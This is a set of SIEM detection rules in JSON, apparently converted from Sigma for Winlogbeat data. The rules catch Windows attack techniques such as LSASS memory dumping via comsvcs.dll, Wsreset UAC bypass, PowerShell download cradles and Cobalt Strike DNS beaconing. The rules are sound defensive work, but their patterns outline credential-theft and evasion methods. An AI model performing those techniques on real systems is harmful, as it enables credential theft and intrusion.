{"description":"Detects a dump file written by QuarksPwDump password dumper Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"20973ca4-fab3-517a-7309-e19712d2f74f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"QuarksPwDump Dump File","query":"(file.path:*\\\\AppData\\\\Local\\\\Temp\\\\SAM\\-* AND file.path:*.dmp*)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM Author: Florian Roth, Maxime Thiebaut. License: ","enabled":false,"false_positives":["User selecting a different installation folder (check for other sub processes of this explorer.exe process)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1764134a-6d64-9b26-3ebd-06aa68535b8b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious RazerInstaller Explorer Subprocess","query":"((process.parent.executable:*\\\\RazerInstaller.exe AND IntegrityLevel:\"System\") AND (NOT (process.executable:C\\:\\\\Windows\\\\Installer\\\\Razer\\\\Installer\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1553"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe Author: Tim Shelton. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"75d731c0-2565-8f6f-1e13-840027922d6d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WScript or CScript Dropper","query":"(process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND file.path:(C\\:\\\\Users\\\\* OR C\\:\\\\ProgramData*) AND file.path:(*.jse OR *.vbe OR *.js OR *.vba OR *.vbs))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a file or folder's permissions being modified. Author: Jakob Weinzettl, oscd.community. License: ","enabled":false,"false_positives":["Users interacting with the files on their own (unlikely unless privileged users)."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"37ae075c-271b-459b-8d7b-55ad5f993dd8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"File or Folder Permissions Modifications","query":"((process.executable:(*\\\\takeown.exe OR *\\\\cacls.exe OR *\\\\icacls.exe) AND process.command_line:*\\/grant*) OR (process.executable:*\\\\attrib.exe AND process.command_line:*\\-r*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1222"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1222","name":"File and Directory Permissions Modification","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"417ae038-bea9-53e9-b719-7b4930d7dad7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Regsvr32 Flags Anomaly","query":"((process.executable:*\\\\regsvr32.exe AND process.command_line:*\\ \\/i\\:*) AND (NOT (process.command_line:*\\ \\/n\\ *)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b2815d0d-7481-4bf0-9b6c-a4c48a94b349","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PowerShell Get-Process LSASS","query":"process.command_line:*Get\\-Process\\ lsass*","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a JAVA process running with remote debugging allowing more than just localhost to connect Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8f88e3f6-2a49-48f5-a5c4-2f7eedf78710","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Java Running with Remote Debugging","query":"(process.command_line:*transport\\=dt_socket,address\\=* AND (NOT (process.command_line:*address\\=127.0.0.1* OR process.command_line:*address\\=localhost*)))","meta":{"from":"1m"},"severity":"medium","tags":["T1203"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a method that uses Wsreset.exe tool that can be used to reset the Windows Store to bypass UAC Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown sub processes of Wsreset.exe"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"636f4286-527d-94bc-cd10-494be6fa5e9c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Wsreset UAC Bypass","query":"process.parent.executable:*\\\\WSreset.exe","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a method to load DLL via LSASS process using an undocumented Registry key Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fd48c0f1-c5fd-0e0f-c99a-777816d5cc02","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DLL Load via LSASS","query":"winlog.event_data.TargetObject:(*\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\DirectoryServiceExtPt* OR *\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\LsaDbExtPt*)","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a named pipe used by Turla group samples Author: Markus Neis. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bf0e759e-b641-8a9b-8acb-8591efd3040a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Turla Group Named Pipes","query":"file.name:(\"\\\\atctl\" OR \"\\\\userpipe\" OR \"\\\\iehelper\" OR \"\\\\sdlrpc\" OR \"\\\\comnap\")","meta":{"from":"1m"},"severity":"critical","tags":["T1106"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1106","name":"Native API","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048 Author: EagleEye Team, Florian Roth, NVISO. License: ","enabled":false,"false_positives":["New printer port install on host"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f50f5b4a-3300-a5d3-dac4-550068daf4ce","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious New Printer Ports in Registry (CVE-2020-1048)","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Ports* AND winlog.event_data.Details:(*.dll* OR *.exe* OR *.bat* OR *.com* OR *C\\:*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a ping command that uses a hex encoded IP address Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely, because no sane admin pings IP addresses in a hexadecimal form"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1a0d4aba-7668-4365-9ce4-6d79ab088dfd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Ping Hex IP","query":"(process.executable:*\\\\ping.exe AND process.command_line:*0x*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1140"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""},{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder Author: Florian Roth, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0e11ea69-ac37-32c0-4654-8ac7ebcc06df","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Registry Persistence via Explorer Run Key","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run) AND (winlog.event_data.Details:(C\\:\\\\Windows\\\\Temp\\\\* OR C\\:\\\\ProgramData\\\\* OR C\\:\\\\$Recycle.bin\\\\* OR C\\:\\\\Temp\\\\* OR C\\:\\\\Users\\\\Public\\\\* OR C\\:\\\\Users\\\\Default\\\\*) OR winlog.event_data.Details:*\\\\AppData\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a possible process memory dump based on a keyword in the file name of the accessing process Author: Florian Roth. License: ","enabled":false,"false_positives":["Rare programs that contain the word dump in their name and access lsass"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"445e79cc-722d-1426-7eb0-b35440cab0c0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LSASS Memory Access by Tool Named Dump","query":"(winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable:*dump* AND winlog.event_data.GrantedAccess:(*10 OR *30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2 OR *FF))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f29f104b-5b31-4ada-4b90-54617949f10e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Process Access via TrolleyExpress Exclusion","query":"(process.command_line:(*\\\\TrolleyExpress\\ 7* OR *\\\\TrolleyExpress\\ 8* OR *\\\\TrolleyExpress\\ 9* OR *\\\\TrolleyExpress.exe\\ 7* OR *\\\\TrolleyExpress.exe\\ 8* OR *\\\\TrolleyExpress.exe\\ 9* OR *\\\\TrolleyExpress.exe\\ \\-ma\\ *) OR (process.executable:*\\\\TrolleyExpress.exe AND (NOT ((winlog.event_data.OriginalFileName:*CtxInstall*) OR (NOT _exists_:winlog.event_data.OriginalFileName)))))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","Defense Evasion","T1003","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely, since these tools shouldn't access lsass.exe at all"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"84975a24-e229-a8da-ad31-86c37b21e3fc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LSASS Access from White-Listed Processes","query":"(winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable:(*\\\\TrolleyExpress.exe OR *\\\\ProcessDump.exe OR *\\\\dump64.exe) AND winlog.event_data.GrantedAccess:(*10 OR *30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2 OR *FF))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a possible remote connections to Silenttrinity c2 Author: Kiran kumar s, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"50e54b8d-ad73-43f8-96a1-5191685b17a4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Silenttrinity Stager Msbuild Activity","query":"(process.executable:*\\\\msbuild.exe AND destination.port:(\"80\" OR \"443\") AND winlog.event_data.Initiated:\"true\")","meta":{"from":"1m"},"severity":"high","tags":["T1127"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a PowerShell New-MailboxExportRequest that exports a mailbox to a local share, as used in ProxyShell exploitations Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2fc6879d-3735-4612-c576-8444e38452c0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious PowerShell Mailbox Export to Share","query":"(process.command_line:*New\\-MailboxExport* AND process.command_line:*\\ \\-Mailbox\\ * AND process.command_line:*\\ \\-FilePath\\ \\\\\\\\127.0.0.1\\\\C$*)","meta":{"from":"1m"},"severity":"critical","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a Powershell process that contains download commands in its command line string Author: Florian Roth, oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3b6ab547-8ec2-4991-b9d2-2b06702a48d7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"PowerShell Download from URL","query":"(process.executable:*\\\\powershell.exe AND process.command_line:*new\\-object* AND process.command_line:*net.webclient\\).* AND process.command_line:*download* AND process.command_line:(*string\\(* OR *file\\(*))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range') Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"70939b61-e7e4-1dc4-540a-95d28c0c2646","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"PowerShell Network Connections","query":"((process.executable:*\\\\powershell.exe AND winlog.event_data.Initiated:\"true\" AND DestinationIsIpv6:\"false\") AND (NOT (destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.0.0.1*) AND user.name:(*AUTHORI* OR *AUTORI*))))","meta":{"from":"1m"},"severity":"low","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro Author: John Lambert (tech), Florian Roth (rule). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b7967e22-3d7e-409b-9ed5-cdae3f9243a1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Malware Shellcode in Verclsid Target Process","query":"((winlog.event_data.TargetImage:*\\\\verclsid.exe AND winlog.event_data.GrantedAccess:\"0x1FFFFF\") AND ((winlog.event_data.CallTrace:*|UNKNOWN\\(* AND winlog.event_data.CallTrace:*VBE7.DLL*) OR (process.executable:*\\\\Microsoft\\ Office\\\\* AND winlog.event_data.CallTrace:*|UNKNOWN*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a process memory dump performed by RdrLeakDiag.exe Author: Cedric MAURUGEON. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1e82ad98-a3fc-74c1-a72e-c8791266eb9d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Process Dump via RdrLeakDiag.exe","query":"(winlog.event_data.OriginalFileName:\"RdrLeakDiag.exe\" AND process.command_line:*fullmemdmp*)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a process memory dump performed via ordinal function 24 in comsvcs.dll Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely, because no one should dump the process memory in that way"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8334c742-98c2-4aba-93a8-eb39a8d08218","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Process Dump via Rundll32 and Comsvcs.dll","query":"((process.command_line:(*comsvcs.dll* OR *rundll32* OR *.dmp*) AND process.command_line:(*#24* OR *#\\+24* OR *MiniDump*) AND process.command_line:*\\ full*) OR process.command_line:*#\\-4294967272*)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708) Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1012f107-b8f1-4271-af30-5aed2de89b39","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Terminal Service Process Spawn","query":"((process.parent.command_line:*\\\\svchost.exe* AND process.parent.command_line:*termsvcs*) AND (NOT (process.executable:*\\\\rdpclip.exe)))","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","Lateral Movement","T1190","T1210"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1210","name":"Exploitation of Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"175d567d-7d1b-38e9-ade6-1648d682d79c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious Cobalt Strike DNS Beaconing","query":"(dns.question.name:(aaa.stage.* OR post.1*) OR dns.question.name:*.stage.123456.*)","meta":{"from":"1m"},"severity":"critical","tags":["T1071"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a PsExec service start Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3ede524d-21cc-472d-a3ce-d21b568d8db7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"PsExec Service Start","query":"process.command_line:\"C\\:\\\\Windows\\\\PSEXESVC.exe\"","meta":{"from":"1m"},"severity":"low","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"11452c2e-0491-0e69-003b-3f7893340c2b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Regedit as Trusted Installer","query":"(process.executable:*\\\\regedit.exe AND process.parent.executable:(*\\\\TrustedInstaller.exe OR *\\\\ProcessHacker.exe))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a regsvr.exe execution that doesn't contain a DLL in the command line Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"02856d1e-752a-a39d-24f4-be6daeb4d0d4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Regsvr32 Command Line Without DLL","query":"(((process.executable:*\\\\regsvr32.exe AND (NOT (process.command_line:(*.dll* OR *.ocx* OR *.cpl* OR *.ax* OR *.bav* OR *.ppl*)))) AND (NOT (NOT _exists_:process.command_line))) AND (NOT (process.command_line:\"\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown yet"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"340a090b-c4e9-412e-bb36-b4b16fe96f9b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Renamed ZOHO Dctask64","query":"(winlog.event_data.Hashes:*6834B1B94E49701D77CCB3C0895E1AFD* AND (NOT (process.executable:*\\\\dctask64.exe)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036","T1055","T1202","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""},{"id":"T1055","name":"Process Injection","reference":""},{"id":"T1202","name":"Indirect Command Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a rundll32 that communicates with public IP addresses Author: Florian Roth. License: ","enabled":false,"false_positives":["Communication to other corporate systems that use IP addresses from public address spaces"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cdc8da7d-c303-42f8-b08c-b4ab47230263","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Rundll32 Internet Connection","query":"((process.executable:*\\\\rundll32.exe AND winlog.event_data.Initiated:\"true\") AND (NOT ((destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.*) OR process.command_line:*PcaSvc.dll,PcaPatchSdbTask*) OR (destination.ip:51.124.*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a service binary running in a suspicious directory Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fd5cae59-fe19-a059-3b8c-a650008c8ed9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Service Binary Directory","query":"(process.executable:(*\\\\Users\\\\Public\\\\* OR *\\\\$Recycle.bin* OR *\\\\Users\\\\All\\ Users\\\\* OR *\\\\Users\\\\Default\\\\* OR *\\\\Users\\\\Contacts\\\\* OR *\\\\Users\\\\Searches\\\\* OR *C\\:\\\\Perflogs\\\\* OR *\\\\config\\\\systemprofile\\\\* OR *\\\\Windows\\\\Fonts\\\\* OR *\\\\Windows\\\\IME\\\\* OR *\\\\Windows\\\\addins\\\\*) AND process.parent.executable:(*\\\\services.exe OR *\\\\svchost.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
